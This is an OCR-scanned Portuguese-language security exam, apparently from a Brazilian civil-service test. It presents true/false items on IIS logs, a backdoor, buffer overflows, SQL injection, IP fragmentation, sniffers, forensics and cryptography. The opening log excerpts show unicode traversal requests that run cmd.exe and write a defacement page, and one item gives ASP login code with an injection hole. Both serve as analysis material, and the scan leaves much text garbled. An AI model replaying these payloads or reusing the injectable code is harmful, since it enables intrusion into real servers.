/IISADMPWD/..%c0%af ..%c0%af .. %6c0%af ..%c0%af .. %6c0%af ... %c0%af ..%6c0%af .. %
c0%af /winnt/system32/cmd.exe?/c+dir+c:\inetpub HTTP/1.1" 200 493
atacker5.nowhere.com - - [23/Jan/2001:04:29:06 -0200] "GET

/ISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%c0%0af .. %c0%af ... %c0%af ..%0c0%af .. %
c0%af /winnt/system32/cmd.exe?/c+dir+c:\inetpub\wwwroot HTTP/1.1" 200 828
atacker6.nowhere.com - - [23/Jan/2001:04:30:02 -0200] "GET

NNISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%6c0%af .. %c0%af ... %c0%af .. %c0%af ..%
c0%af /winnt/system32/cmd.exe?/c+copy+c:\winnt\cmd.exe+c:\winnt\s3.exe

HTTP/1.0" 502 259

atacker6.nowhere.com - - [23/Jan/2001:04:32:29 -0200] "GET
/ISADMPWD/..%c0%af ..%c0%af .. %6c0%af ..%c0%0af .. %c0%af ... %c0%af ..%0c0%af .. %
c0%af /winnt/system32/cmd.exe?/c+copy+c:\winnt\cmd.exe+c:\winnt\cmd.exe
HTTP/1.0" 502 259

atacker6.nowhere.com - - [23/Jan/2001:04:33:36 -0200] "GET
/ISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%c0%0af .. %c0%af ... %c0%af ..%0c0%af .. %
c0%af /winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exetc:\winnt\s3.exe
HTTP/1.0" 502 242
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atacker6.nowhere.com - - [23/Jan/2001:04:34:11 -0200] "GET

/ISADMPWD/..%c0%af ..%c0%af .. %6c0%af ..%6c0%0af .. %c0%af ... %c0%af ..%0c0%af .. %
c0%af /winnt/system32/cmd.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1
th+Grup+WebQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 500 87
atacker6.nowhere.com - - [23/Jan/2001:04:34:28 -0200] "GET

/IISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%6c0%0af .. %c0%af ... %c0%af ..%c0%af .. %
c0%af /winnt/system32/cmd.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1
th+Grup+WebQu33R+>c:\inetpub\wwwroot\Default.ntm HTTP/1.0" 500 87
atacker6.nowhere.com - - [23/Jan/2001:04:35:55 -0200] "GET

/IISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%6c0%0af .. %c0%af ... %c0%af ..%c0%af .. %
c0%af /winnt/system32/s3.exe?/c+echo+H4ck 3d+by+Gund3R0th+thanks+Gund3R 1t
h+Grup+WebQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 404 461
atacker6.nowhere.com - - [23/Jan/2001:04:37:34 -0200] "GET

/ISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%6c0%af .. %c0%af ... %c0%af ..%0c0%af .. %
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\Default.ntm HTTP/1.0" 502 215
atacker6.nowhere.com - - [23/Jan/2001:04:40:09 -0200] "GET

/IISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%6c0%0af .. %c0%af ... %c0%af ..%c0%af .. %
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R 1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\Default.ntm HTTP/1.0" 502 215
atacker6.nowhere.com - - [23/Jan/2001:04:40:30 -0200] "GET

/IISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%c0%0af .. %c0%af ... %c0%af ..%0c0%af .. %
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\myweb.dll HTTP/1.0" 502 215

atacker4.nowhere.com - - [23/Jan/2001:04:40:51 -0200] "GET

NISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%c0%af .. %c0%af ... %c0%af .. %c0%af ..%
c0%af /winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 200 880

atacker6.nowhere.com - - [23/Jan/2001:04:44:38 -0200] "GET

/IISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%c0%0af .. %c0%af ... %c0%af ..%0c0%af .. %
c0%eaf /winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\myweb.dll HTTP/1.0" 502 215

QUESTAO 36 1

Com base no texto CE, julgue os itens abaixo, referentes aos atagues ao servidor http mencionado nesse texto.

1 Astentativas exploratérias comegaram ater sucesso a partir de 23/1/2001.

2 Verificase ataque de defacement (pichacdo) a pagina Web.

3 Avulnerabilidade exploradanosatagueséado par sing das requisi¢des de arquivo em servidores Web, também conhecidacomo ataque
de unicode, presente no MS 1S versdo 5.0.

4 Oslogsforam gerados pelo MSIIS.

5 O atacante fez uma copia de backup da pagina original.

QUESTAO 37 1

Novamente com base no texto CE e acerca dos atagues ao servidor http referido, julgue ositens a seguir.

=

Nos probes exploratérios, o atacante vasculhou diversos diretorios, procurando o arquivo “cmd.exe’, que é um interpretador
de comandos.

“Atacker” copiou “cmd.exe” em outro arquivo, que posteriormente foi usado no ataque.

A paginainicia do servidor Web atacado residia em “ Default.htm”.

O servidor utiliza umaforma elementar de defesa, mantendo a pagina de index em “myweb.dll”.

“Atacker6” teve sucesso no atague.

arwWN

QUESTAO 38

Ainda com base no texto CE, julgue os itens subsequientes, relativos ao servidor http e aos ataques ocorridos.

1 A péginavulnerada se apresentou em branco com os dizeres “H4ck3d by Gund3R0th thanks Gund3R1th Grup WebQu33R”.

2 Os ataques ndo poderiam ser evitados utilizando-se um proxy que restringisse 0s acessos a paginainicial.

3 N&o ha patch disponivel, atualmente, para corrigir a vulnerabilidade em questdo, que seja fornecido pelo autor/fornecedor do
servidor Web.

4 Um dos elementos dos ataques esta no fato de o diretério “system32” ter seu acesso liberado, na configuracéo default do sistema
operacional.

5 Osataques poderiam ter sido evitados por meio de filtragem de pacotes em um firewall convencional.
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QUESTAO 39

O administrador darede Alfarecebeu diversas reclamagdes, de administradores de outras redes, de que uma de suas méguinas
estaria gerando trafego suspeito. A méguina em questdo € um servidor Unix, servidorO3 (enderego |P 192.168.11.1). Abaixo, séo
mostradas as porc¢des relevantes dos resultados da execucdo, no referido servidor, de alguns comandos.

| comando: netstat

Loca address Remote address Swind  Send-Q Rwind Recv-Q State

*,12345 * ¥ 0 0 24576 O LISTEN

Il comando: |sof

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

laden 7895 root 3u IPv4 978493 TCP*:12345 (LISTEN)
[11 comando: ps

UiD PID PPID C STIME TTY TIME CMD

root 7895 1 0 May 1 ? 0:00 laden

IV comando: find / -name laden —print
(n&o retornainformagao)

Além dasinformagdes acima, em umainspegdo dos médul os carregados no kernel, ndo foi apontada nenhuma anormalidade. Nesse caso,
€ correto concluir que o servidor03 sofreu um comprometimento de root e que

aprwpNE

nao se trata de um rootkit naformade um LKM.

um telnet na porta 12345 do servidor03 chamara o programa suspeito, sendo a melhor forma de avaiar o que ele faz.

0 programa suspeito executa um unlink antes de se tornar daemon, evitando aparecer no sistema de arquivos.

€ carregado no boot, acarretando, assim, o comprometimento de algum arquivo de inicializaco.

as cadeias de caracteres podem ser inspecionadas, caso aimagem executavel do programa suspeito possa ser localizada no sistemade

arquivos /proc.

QUESTAO 40 )

Com relagdo aos comprometimentos de méaguinas originados a partir

da exploragéo de uma sobrecarga de buffer (buffer overflow), julgue

os itens abaixo.

1

A ocorréncia de comprometimento estd restrita aos sistemas de
codigo aberto.

O comprometimento independe da linguagem utilizada na
implementacdo do programa especifico que tem seu buffer
sobrecarregado.

Pode-seevitar o buffer overflow utilizando-sefirewallsnaprotecéo
das méguinas.

O buffer overflow consiste em injetar uma cadeia de caracteres
longa o suficiente para ocupar totalmente o buffer atacado,
seguindo-se uma chamada de sistema que executa o codigo
malicioso.

O buffer overflow genérico utiliza, nasuaimplementacdo, o fato de
que, nacadeiade caracteresdo buffer, sd podem ocorrer caracteres
distintos do delimitador de cadeias, sendo, ent&o, normamente
utilizado no preenchimento do buffer o codigo correspondente ao
NOOP do sistema-alvo, facilitando a estimagdo do endereco de
retorno da chamada de sistema.

QUESTAO 41 1

Um administrador recebeu a tarefa de instalar um sistema de
deteccdo deintruso (IDS) adequado em suarede. Considerando
que a rede utiliza apenas comutadores (switches), € correto
afirmar que o administrador

1

N30 conseguira executar a tarefa com sucesso, ja que, no
switch, ao contrario do hub, cada porta tem um dominio de
colisdo distinto.

pode, na implantacdo do sistema IDS, configurar com
sucesso o switch para modo debug, ou equivalente, em que
0 mesmo passa a operar como hub, sem prejuizo ao
desempenho.

pode, naconfiguracdo do sistema IDS, espelhar as portas do
switch para a porta de backbone, normalmente usada para
uplink/downlink, sehouver, ndo precisando sepreocupar com
o trafego de todas as portas convergindo paraaportaem que
estd o sensor do IDS.

pode instalar, naméguina em que rodara o IDS, um médulo
gue envie periodicamente pacotes ARP de resposta,
contendo o endereco MAC do sensor do IDS e o enderego | P
de todas as maquinas que deseja proteger com o IDS, ndo
precisando reconfigurar o switch.

pode instalar, naméguina em que rodara o IDS, um médulo
gueenvie periodicamente pacotes A RP deresposta, contendo
enderecos MAC ficticios para assim preencher totalmente a
tabela de enderecos fisicos do switch, acarretando, porém,
prejuizo ao desempenho.
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QUESTAO 42 1

Considere uma pagina Web utilizada por um grupo de usuarios para
alimentar um banco de dados SQL Server. Os usuarios realizam o logon
sobre umaconex&o SSL e, se autenticados, podeminserir informagtes e(ou)
realizar consultas no banco de dados, que, apos as insercdes, envia como
retorno ume-mail de confirmagdo. O firewall interno s aceitaconexdesnas
portas 443 e 25, nos dois extremos da DMZ. Alguns trechos de cédigo
correspondentes a essa pagina e ao script de logon sdo mostrados a seguir.

» péaginaWeb

<form name="Logon" method="post"
action="https://www.bigbucks.org/scripts/L ogon.asp>
<p><font face="Tahoma'> <i><b>Please enter username and
password:</b></i><br>
Username
<input type="text" name="uname" maxlength="25">
<br>
<br>
Password
<input type="text" name="pword" maxlength="25">
<br>
</font></p>
<p>
<input type="submit" name="Submit" value="Submit">
</p>
</form>

» script delogon

Conn.Open Set rst= Conn.Execute("select * from userinfo where
username = ' " & Request.Form("uname”) & " ' and password ="' &
Request.Form("uname") & " ' "

If rst.eof then
Response.Redirect "badlogon.asp”

Com base nessas informagdes, julgue os itens seguintes.

1 Independentemente do que possa acontecer com as informactes do
banco dedados, é correto afirmar que o servidor hospedeiro desse banco
de dados é seguro, ja que as conexdes sdo encriptadas e 0s acessos sao
intermediados pelo servidor Web.

2 A smplicidade com que os dados de entrada s&o validados, repassando-
os diretamente para a montagem do statement SQL, atesta o bom design
da solucdo do controle de acesso, pois o codigo é facilmente auditével.

3 A criticainexistente aos dadosfornecidos por um usuario permite que se
monte consultas que resultariam no fornecimento das tabelas com as
informag6es dos usuarios.

4 Nasituagdo apresentada, é possivel forcar o banco de dadosaenviar um
e-mail com tabelasinteiras.

5 Alguém desautorizado pode alterar as informagdes do banco de dados.

QUESTAO 43 1

Julgue os itens que se seguem, com relacdo a copia de

arquivos em sistemas Unix.

1 Caso sedesgje preservar a estruturalogica do sistema
de arquivos e 0s mactimes, a copia das informactes
contidas em um disco rigido ndo deve ser executada
com o comando dd.

2 Ao redizar a copia das informagdes contidas em um
disco rigido utilizando-se o0 comando tar, preserva-se o
sistema de arquivos, tais como 0s mactimes.

3 A geragdo de hashes md5 funciona como uma
assinatura, tanto do original como da copia; o hash de
uma particdo, por exemplo, pode ser obtido com o
comando dd if=/dev/hda1 | md5sum -b.

4 Arquivos deletados podem ser recuperados a partir de
sua copia, utilizando-se, paraisso, 0 comando dd.

5 Umacopiasegurapode ser realizadaremotamente com
0 comando ssh.

QUESTAO 44 1

Considere umarede em que ha a suspeita da existénciade

um sniffer instalado em uma das maquinas que compdem
arede, realizando escutas desautorizadas. Com relacéo a
essa situacao, julgue os itens abaixo.

1 Congtitui boa estratégia de deteccéo de sniffer aquela
gue se fundamenta na identificagdo do tré&fego gerado
por ele durante a escuta, tr&fego que normamente
acontece em grande quantidade, seja o sniffer emredes
comutadas ou néo.

2 Pode-se detectar a existéncia de um sniffer na
rede usando-se outro sniffer e verificando quem faz
consultas de DNS quando uma nova méguina é
adicionada arede.

3 Naidentificagdo deum snnifer, constitui boaestratégia
0 envio de pings em broadcast e a comparacdo dos
tempos de resposta das vérias méaguinas no segmento:
o tempo de resposta da maguina que contém sniffer
provavelmente serd maior que o das outras méguinas.

4 Um sniffer comum — passivo — em uma rede
comutada consegue capturar tréfego.

5 A deteccdo de um sniffer quase sempre acontece com
sucesso, sendo a sua identificagdo fundamentada no
endereco MAC.
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QUESTAO 45 1

Considere os seguintes trechos de trafego.

trecho |

02:11:26.616090 10.1.1.1.31915 > 10.1.2.1.20197: udp 28 (frag 242:36@0+) (it 64)
02:11:26.616445 10.1.1.1> 10.1.2.1: (frag 242:4@24) (ttl 64)

trecholl

02:12:26.616445 10.1.1.1 > 10.1.2.1: (frag 1242:1480@4240+)
02:12:31.616575 10.1.1.1 > 10.1.2.1: (frag 1242:1480@2490+)
02:12:31.617345 10.1.1.1 > 10.1.2.1: (frag 1242:1480@4240+)
02:12:36.617950 10.1.1.1 > 10.1.2.1: (frag 1242:1480@2240+)
02:12:36.618865 10.1.1.1 > 10.1.2.1: (frag 1242:1480@2490+)
02:12:41.626445 10.1.1.1 > 10.1.2.1: (frag 1242:1480@4240+)
02:12:46.632950 10.1.1.1 > 10.1.2.1: (frag 1242:1480@2240+)

trecho |11

02:13:22.216445 truncated-tcp 16 (frag 32470:16@0+)
02:13:22.224445 10.1.1.1 > 10.1.2.1: (frag 32470:4@16)
02:13:22.236645 truncated-tcp 16 (frag 70123:16@0+)
02:13:22.239880 10.1.1.1> 10.1.2.1: (frag 70123:4@16)
02:13:22.245675 truncated-tcp 16 (frag 12678:16@0+)
02:13:22.247885 10.1.1.1>10.1.2.1: (frag 12678.4@16)

Julgue os itens a seguir, relativos a esses trechos de tréfego.

1 Otrechol apresentatrafegolegitimo, masquepode causar crashesetravamentosem algunssi stemas operacionai scomimplementagdes
deficientes da pilha TCP/IP.
O trecho Il poderiaindicar um ataque de exaustéo de recursos do sistema, causando lentid&o no processamento.

O trecho |11 mostra a fragmentac&o sobre os cabegalhos TCP, de maneiraidéntica a dissimulagéo de port scans usando o flag FIN.

A wWN

O trecho Il tem 0 mesmo efeito no sistema que o trecho |1, s6 que de forma mais répida.

5 Ostrechos acima utilizam a fragmentacdo de maneira maliciosa.
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QUESTAO 46 1

A realizag8o de andlise de tr&fego em umarede TCP/I P € umatécnicaimportante para monitoragdo e auditoriadarede e de seus servigos.
Asfiguras| ell aseguir, obtidas com o uso da ferramenta Ethereal (www.ethereal.com), apresentam exemplos tipicos de informagdes
extraidas com o uso de ferramentas analisadoras de rede, que sdo empregadas na realizacdo de andlise de trafego.

K - *'Ethereal: Capture[B|[=|E
Total 130 (100,0%)
SCTP 0 (0,0%)
TCP 30 (69,2%)
UDP 0 (0,0%)
ICMP 40 (30,8%)
O5PF 0 (0,0%)
GRE 0 (0,0%)
NetBIOS 0 (0,0%)
[ 0 {0,0%)
YINES 0 (0,0%)
Other 0 (0,0%)
Stop |
L I
Figural
K ' <capture> - Ethereal
File Edit Capture Display Tonls Help
| N0.|Time ‘Source Destination |Protucol |\nfo [

S AT nt. 1notebook. ntinotebook ILIAF
40 9,000000  ntinotebook nitinoteboo ICHP

Echao 1ping] reply

-
42 14, 0 TCFP 1024 tp [5YN] Seq=127246
42 14,250000 ntinotebook ntinotebook TCR ftp > 1024 [SYM, ACK] Seq=1270G65045 Ack=1272469262 Win=3z
44 14,250000 ntinotebook ntinotebook TCR ftp » 1024 [SYN. ACK] Seq=1270969045 Ack=1272463262 Win-3z
45 14,250000 ntinotebook ntinotebook TCR 1024 > ftp [ACK] Seq=12724B9262 Ack=12705E504E Win=327E7 L
46 14,250000 ntinotebook ntinotebook TCR 1024 > ftp [ACK] Seq=12724B3262 Ack=12705EG045 Win=32767 L | 7

Jestination port: 21 {21}
Sequence numberi 1272469261
Header length: 40 buytes
E Flags; Ox0002 (SYN)
Window sizet 32767
Checksum: Oxfed) {correct)
B Dptions: (20 bytes)
Haximum segment size; 16396 bytes
SACE permitted
Time stampi tsval 191007, tsecr O
NOP
Window scalet O bytes

LT

0000 00 00 00 00 00 00 00 00 00 00 00 00 0 00 45 00
0010 00 2o bd 12 40 00 40 OB FF a7 7F 00 00 OL 7§ 00

0020
0020 R
0040 2]
Filter: #| Reset|[Transmission Control Protocal (op)
o] A pesel .
Figurall

Acerca das informagfes contidas nas figuras | e |l e de suas interpretacfes, julgue os itens a seguir, relativos a rede mencionada acima.

1 Todo o tréfego observado, de acordo com afigural, utiliza o protocolo IP.

2 Deacordo comafigural, o protocolo UDP ndo estdimplementado nessarede, sendo o protocolo TCP o Unico protocol o de transporte
disponivel.

3 O pacote de nimero 42, nafigurall, é uma retransmissdo do pacote de nimero 41.

4 Ospacotesdenuimeros4l, 42, 45 e 46, mostrados nafigurall, fazem parte de umamesma conexdo TCP no sentido daporta1024 para
aportaftp. Por outro lado, os pacotes 43 e 44 fazem parte de outra conexdo TCP simétrica, no sentido da porta ftp paraaporta 1024.
As duas conexdes formam uma ligagdo TCP bidirecional.

5 A primeira op¢do do pacote TCP de nimero 41, detalhado na parte inferior da figura |1, aparece apenas em mensagens TCP de
estabel ecimento de conexdo, isto €, que possuam o flag de SYN ativo.
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QUESTAO 47 1

As técnicas de criptografia constituem os recursos basicos para
implementagdo de boa parte das ferramentas que disponibilizam
servicos de seguranca para os niveis de rede, sistema e servigos
(aplicacbes). Assim, osriscos para cada servico de seguranca estdo
muitas vezes associados aos riscos de quebra dos sistemas e
algoritmos criptogréficos utilizados. Acerca de técnicas de quebra

desistemas e algoritmoscriptogréficos e seusriscos, julgue ositens

aseguir.

1 A quebradesistemascriptograficossimétricos sempre depende
da descoberta da chave secreta utilizada no processo
criptografico.

2 Umprincipio basico paraautilizacdo de senhas em servicosde
seguranga, tais como autentificagdo e controle de acesso,
consiste em ndo armazenar a senha diretamente pois 0 acesso a
tal entidade de armazenamento poriaem risco toda a seguranca
do sistema. Ao contrario, é armazenado um resumo da senha,
gerado normalmente por algum tipo de funcdo digestora
unidirecional . Ataguesdeforcabrutaaessessistemas podem ser
bem sucedidos, caso se encontre amensagem original utilizada
na entrada da funcdo (isto é a senha) ou aguma outra
mensagem que resulte em um mesmo resumo que agquel e gerado
para a mensagem original.

3 Em uma infra-estrutura de chave piblica (ICP), a quebra do
certificado (violagdo da chave privada) de uma autoridade
certificadora (AC) invalida todos os certificados assinados por
estaAC. Assim, todaasegurancada | CP depende da seguranca
dachave privadada AC raiz.

4 Chaves criptogréficas consideradas seguras contra ataques de
forca bruta, para os padrfes de processamento atuais, devem
possuir pelo menos 128 bits, tanto para criptografia simétrica
quanto para criptografia assimétrica.

5 Sistemas que utilizam assinaturas digitais para provisdo de
servicos de autentificagdo e ndo-repldio sdo também imunes a

ataques de negacdo de servigo por repeticdo (replay).

QUESTAO 48 1

Um sistemacriptografico € constituido por umatripla(M ,K,C), em
que M é o espaco das mensagens, K é o espaco das chaves, e C €
0 espacgo doscriptogramas. A ssoci ado a esses, tem-se umalgoritmo
criptografico, o qual transforma qual quer mensagemmO M emum
criptogramac 0 C, deformacontrolada por umachave k0 K. Pode-
se representar essa transformag&o por ¢ = E,(m), que corresponde
a operacdo de cifragdo, e por m = Dy(c), a operagdo inversa, de
decifragdo. A respeito de sistemas criptogréficos em geral, julgue

0s itens subseqiientes.

1 Emumdeterminado sistemacriptogréafico, paracadamensagem
possivel m, existe apenas um criptograma possivel, ¢, que sera
o resultado da cifragdo de m com determinada chave k. N&o
obstante, mensagens distintas podem resultar em um mesmo
criptograma, se utilizadas chaves distintas.

2 Sistemascriptograficossdo ditossimétricosou de chave secreta
guando a chave utilizada para cifrar € a mesma utilizada para
decifrar. Sistemas assimétricos ou de chave publica utilizam
chavesdistintasparacifrar edecifrar. Algoritmossimétricossao
geramente mais eficientes computacionalmente que o0s
assimétricose por isso sdo preferidosparacifrar grandesmassas
de dados ou para operactes online.

3 Diz-se que um sistema criptogréfico tem segredo perfeito
gquando, dado um criptograma c, a incerteza que se tem em
relacdo a mensagem m que foi cifrada é a mesma que se tinha
antesde conhecer o criptograma. Umacondi¢do necessé&riapara
gue um sistema criptogréfico tenha segredo perfeito é que o
espaco de chaves seja pelo menos tdo grande quanto o espaco
de mensagens, ou sgja, [K|$ [M|.

4 O Unico sistema criptogréfico matematicamente inviolavel é o
denominado sistema de chave (inica. Todos os demais sistemas,
para utilizacdo em condicbes reais de aplicacdo, sdo
teoricamente violaveis, ou seja, dados recursos e tempo
ilimitados e quantidade suficiente de criptograma gerado com
uma mesma chave, € possivel, sempre, determinar, de forma
univoca, a chave utilizada.

5 Umatécnicaeficiente paratornar um sistemacriptogréficomais
forte é se utilizar um algoritmo de compressdo de dados apos a

cifracéo.
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QUESTAO 49 1

Em um ambiente de seguranca de informagdes, senhas e chaves
criptogréficas devem ser imprevisiveis e, preferencialmente,
geradas de forma totalmente aleatdria. Todo sistema criptogréfico
apresenta o conhecido problema de gerenciamento de chaves, que
trata da geracdo, da distribuicdo, do armazenamento e datrocadas
chaves utilizadas. Costuma-se considerar que a seguranca de um
algoritmo criptografico esta na seguranca das chaves utilizadas.
Com relagdo a esse assunto, julgue os itens que se seguem.

1 Paraumdeterminado sistemacriptografico queutilizachavesde
128 bits, optou-se por selecionar como gerador de chaves a
saida do algoritmo MD5, tendo por entrada os seguintes
parémetros. adata/horado sistemaquando dageracdo dachave,
dadanaforma DDMMAAHHMMSS, com o significado usual,
concatenado com uma sequiéncia de 16 bytes consecutivos
obtida de um arquivo fixo, contendo 64 kilobytes de dados que
foram gerados de forma totalmente aeatéria, e cujo ponto
inicial deleituraéescolhido apartir de caracteres digitados por
um operador da forma mais imprevisivel possivel. Nessa
situacdo, como o algoritmo MD5 gera um hash de 128 bhits e
ndo se pode, em principio, determinar a entrada dada a saida,
pode-se considerar esse como um bom método para a geragao
dos 128 hits necessérios para uma chave com uma aparéncia
aleatoria

2 Oagoritmo DESéconsiderado inseguro por possuir um espago
de chaves de apenas 56 bits, sendo, portanto, susceptivel a
ataques por exaustdo das chaves, utilizando-se recursos
relativamentemodestoscom atecnol ogiadisponivel atualmente.
Uma forma encontrada para aumentar o espaco de chaves de
algoritmos de bloco do tipo DES foi a implementacdo
denominadatriplo-DES, em que seempregao mesmo algoritmo
3 vezes consecutivas, potencialmente com 3 chaves distintas, o
gue permite uma chavetotal efetiva correspondente a3 vezeso
tamanho original, ou sgja, nesse caso, 168 hits. Por raciocinio
semel hante, o uso de um duplo-DES deve prover umaseguranca
equivalente a um algoritmo com chave efetiva de 112 bits.

3 Umtipodefuncéo essencial parauso emambiente criptografico
€ a das denominadas fungdes unidirecionais. Uma fungdo
unidirecional éumatransformagao fixa(sem chaves) paraaqual
€ impraticavel se determinar a entrada a partir da saida. Uma
forma de se obter uma boa fun¢éo unidirecional € tomar um
bom agoritmo criptogréfico, fixar a entrada de dados
(mensagem) e utilizar a entrada de chave como entrada de
dados.

4 O adgoritmo RSA é um conhecido e popular agoritmo
assmétrico. A seguranca do agoritmo RSA é dada pelo
tamanho das chaves utilizadas, da ordem de 1 kilobits, o que
tornaimpraticavel a determinagdo da chave pela exaustéo das
possibilidades.

5 Ao comparar sistemas criptograficos simétricos e assimétricos,
conclui-se que aquelesfacilitam ageraco e atrocadas chaves,
enguanto estes facilitam a distribuicdo e o armazenamento das
mesmas.

QUESTAO 50 1

Certificados digitais sdo documentos el etronicos concebidos para
se verificar a autenticidade de um usuario e assegurar que ele
efetivamente tem a posse de um par de chaves (publica e privada)
paraum determinado sistema criptogréafico de chaves assimétricas.
Certificadosdigitai ssdo usual mente emitidospor umaterceiraparte
confidvel, denominadaautoridade certificadora (AC). Comrelacéo
a utilizacdo de certificados digitais para prover maior seguranca a
um ambiente computacional, julgue os itens abaixo.

1 Certificados digitais se baseiam no conceito de assinatura
digital. O mecanismo usual para se assinar um documento
eletrdnico é primeiro gerar o hash do documento e entdo cifrar
esse hash com um algoritmo assimétrico, utilizando-se sua
chave privada. O valor assim obtido constitui a assinatura, que
ira permitir, posteriormente, ndo apenas verificar a autoria do
documento como também a sua integridade.

2 O padréo de certificados largamente utilizado hoje em diaé o
X.509, em sua versdo 3. Um certificado gerado nesse padréo
inclui, essencialmente, umidentificador daversdo utilizadapara
gerar o certificado (1, 2 ou 3); um nimero serial que deve ser
Unico para cada certificado emitido por dada AC; um
identificador do algoritmo de assinatura utilizado pela AC; um
identificador daAC (DN — distinguished name daAC); periodo
de validade do certificado; um identificador do sujeito (DN —
distinguished name do sujeito) para o qual esta sendo emitido
o certificado; a chave publica do sujeito; a chave privada do
sujeito; outras informagdes opcionais padronizadas; por fim, a
prépria assinatura da AC desse conjunto de informagdes.

3 Certificados digitais sGo comumente emitidos para pessoas
(fisicas ou juridicas), méguinas e processos. A utilizacdo dos
certificados requer o estabel ecimento do que se denomina uma
Infraestrutura de Chaves Plblicas (ICP), como recentemente
estabelecido pelo governo brasileiro, al CP-Brasil. ICPs como
a|CP-Brasil pressupdem a existéncia de pelo menos uma AC,
cujo proéprio certificado é auto-assinado, ou segja, ela propria
atesta sua identidade e a detencdo de seu par de chaves
assimétricas, sendo a0 mesmo tempo, para esse fim, emissor e
sujeito no ato de certificacao.

4 A Internet ja dispde de recursos basicos para a utilizagdo de
certificadosdigitais por meio do protocolo SSL (Secure Sockets
Layer), desenvolvido pela empresa Netscape com vistas ao
desenvolvimento do comércio eletrénico, e, maisrecentemente,
0 TLS(Transport Layer Security), desenvolvido apartir do SSL
como um padr&o do |ETF (Internet Engineering Task Force).
A utilizac8o do SSL/TLS permite: a autentificagdo mitua das
partes em comunicacdo por meio da verificacdo de seus
certificados digitais apresentados no inicio de uma sesséo; o
estabelecimento de uma chave simétrica segura para ser
utilizada entre as partes naguela sesséo; a cifragdo com um
algoritmo simétrico de toda a comunicagdo de dados, de forma
transparente, no qual é utilizada a chave previamente
estabelecida

5 Um dos pontos sensivels na utilizagdo de um sistema de chaves
publicas é a geragdo do par de chaves de um usuario. N&do
somente o processo de geracdo deve resultar em uma chave
privativaimprevisivel, como esta deve ficar tdo-somente sob a
guarda de seu proprietario, com a maior seguranga possivel.
O comprometimento da chave privativa de um usuario ou o
acesso a mesma por terceiros compromete a seguranga em sua
utilizacdo. Uma forma segura para a geracéo e a guarda de
chaves e certificados disponivel atualmente € o uso de cartbes
inteligentes (smart cards) paratal finalidade.
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